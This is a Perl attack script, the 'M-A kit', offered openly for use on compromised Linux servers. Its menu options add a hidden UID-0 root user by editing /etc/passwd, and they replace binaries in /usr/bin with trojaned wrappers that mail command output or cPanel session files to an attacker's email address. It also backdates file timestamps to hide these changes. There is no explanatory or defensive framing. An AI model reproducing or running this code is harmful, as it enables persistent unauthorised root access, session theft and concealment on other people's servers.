m-a kit v 0.1 ( public version )

#!/usr/bin/perl
# http://www.youtube.com/watch?v=5eYYRmDavdI
use Term::ANSIColor;
use Sys::Hostname;
use Socket;
my $host = hostname();
print "\n";
menu:;
print color("red"), "[+] M-A kit v 0.1\n";
print color 'reset';
sleep 1;
print color("red"), "1. Add new root user";
print color 'reset';
print color("red"), "\n2. Auto ev!l c0de Inject0r";
print color 'reset';
print color("red"), "\n3. Auto Session sending to e-mail";
print color 'reset';
print color("red"), "\n4. Exit";
print color 'reset';
print color("red"), "\n\nr00t~M-A: ";
print color 'reset';
$menu = <>;
if ($menu =~ /1/){
    goto addroot;
    }
    if ($menu =~ /2/){
        goto sessions;
    }
        if ($menu =~ /3/){
        goto sesend;
    }
    if ($menu =~ /4/){
        goto exit;
    }
    else {

        print "\t\tUnknow Choise Idiot\n";
        goto menu;
    };
addroot:;
print color("red"), "[+] M-A kit v 0.1\n";
print color 'reset';
sleep 1;
print color("green"), "[+] Adding new root\n";
print color 'reset';

print color("yellow"), "[-] Enter New root name : \n";
print color 'reset';
        my $newrootuser=<STDIN>;
        chomp($newrootuser);
print color("yellow"), "[-] Enter New root Pass : \n";
print color 'reset';
        my $newrootpass=<STDIN>;
        chomp($newrootpass);
        print color("yellow"), "[-] Enter New root Path : \n";
print color 'reset';
        my $dir=<STDIN>;
        chomp($dir);
{
system("useradd $newrootuser -g 0 -G wheel,sys,bin,daemon,adm,disk -d $dir -s /bin/sh");
system("echo $newrootpass | passwd $newrootuser --stdin");
system("sed -i \"s/x:[0-9]*:0/x:0:0:root/g\" /etc/passwd");
}
print color("green"), "[+] d0ne Adding new root \n";
print color 'reset';
sleep 2;
{
system("clear");
}
goto menu;
sessions:;
print color("red"), "[+] M-A kit v 0.1\n";
print color 'reset';
sleep 1;
print color("green"), "[+] Configuring ...\n";
print color 'reset';
print color("yellow"), "[-] Enter File that you whant to inject ev!l c0de  : \n";
print color 'reset';
        my $file=<STDIN>;
        chomp($file);
        print color("yellow"), "[-] Enter ev!l c0de  : \n";
print color 'reset';
        my $evil=<STDIN>;
        chomp($evil);
                print color("yellow"), "[-] Enter Your email to send result  : \n";
print color 'reset';
        my $emailrez=<STDIN>;
        chomp($emailrez);
print color("bold white"), "[-] Lanching ....\n";
print color 'reset';
$code = "\#include<stdio.h>";
$code2 = "\#include<stdlib.h>";
$boy = "main()";
$boy4 = "{";
$boy2 = "system(\"$evil | mail -s \"\"$host Info\"\" $emailrez\");";
$boy3 = "system(\"/usr/bin/system\");";
open(TN,">>/usr/bin/$file.c");
print TN "$code\n";
print TN "$code2\n";
print TN "$boy\n";
print TN "$boy4\n";
print TN "$boy2\n";
print TN "$boy3\n";
print TN "}";
print TN "\n";
close(TN);
print color("bold white"), "[-] Creating ev!l c0de\n";
print color 'reset';
{
system("cd /usr/bin");
system("rm -fr /usr/bin/system");
system("cp /usr/bin/$file /usr/bin/system");
system("rm -fr /usr/bin/$file");
system("gcc /usr/bin/$file.c -o /usr/bin/$file");
system("rm -fr /usr/bin/$file.c");
}
print color("bold white"), "[-] Replacing code by the ev!l c0de \n";
print color 'reset';
{
system("touch -t 1001010433 /usr/bin/$file");
system("touch -t 1001010433 /usr/bin/system");
system("chmod +x /usr/bin/system");
}
print color("bold white"), "[-] Changing access and modification time of the ev!l c0de\n";
print color 'reset';
print color("green"), "[+] Okay d0ne \n";
print color 'reset';
sleep 2;
{
system("clear");
}
goto menu;
sesend:;
# BY RAB3OUN
print color("red"), "[+] M-A kit v 0.1\n";
print color 'reset';
sleep 1;
print color("green"), "[+] Configuring ...\n";
print color 'reset';
print color("yellow"), "[-] Enter File that you whant to inject in  : \n";
print color 'reset';
        my $file2=<STDIN>;
        chomp($file2);
print color("yellow"), "[-] Enter your E-mail  : \n";
print color 'reset';
        my $email=<STDIN>;
        chomp($email);
$evil2 = "cd /var/cpanel/sessions/raw/ && cat * | mail -s \"\"$host Sessions Info\"\" $email";
$line1 = "\#include<stdio.h>";
$line2 = "\#include<stdlib.h>";
$line3 = "main()";
$line4 = "{";
$line5 = "system(\"$evil2\");";
$line6 = "system(\"/usr/bin/systems\");";
open(TN,">>/usr/bin/$file2.c");
print TN "$line1\n";
print TN "$line2\n";
print TN "$line3\n";
print TN "$line4\n";
print TN "$line5\n";
print TN "$line6\n";
print TN "}";
print TN "\n";
close(TN);
{
system("cd /usr/bin");
system("rm -fr /usr/bin/systems");
system("cp /usr/bin/$file2 /usr/bin/systems");
system("rm -fr /usr/bin/$file2");
system("gcc /usr/bin/$file2.c -o /usr/bin/$file2");
system("rm -fr /usr/bin/$file2.c");
system("touch -t 1001010433 /usr/bin/$file2");
system("touch -t 1001010433 /usr/bin/systems");
system("chmod +x /usr/bin/systems");
}
print color("green"), "[+] Okay d0ne , don't test it plz :P \n";
print color 'reset';
sleep 2;
{
system("clear");
}
goto menu;
sessions:;
close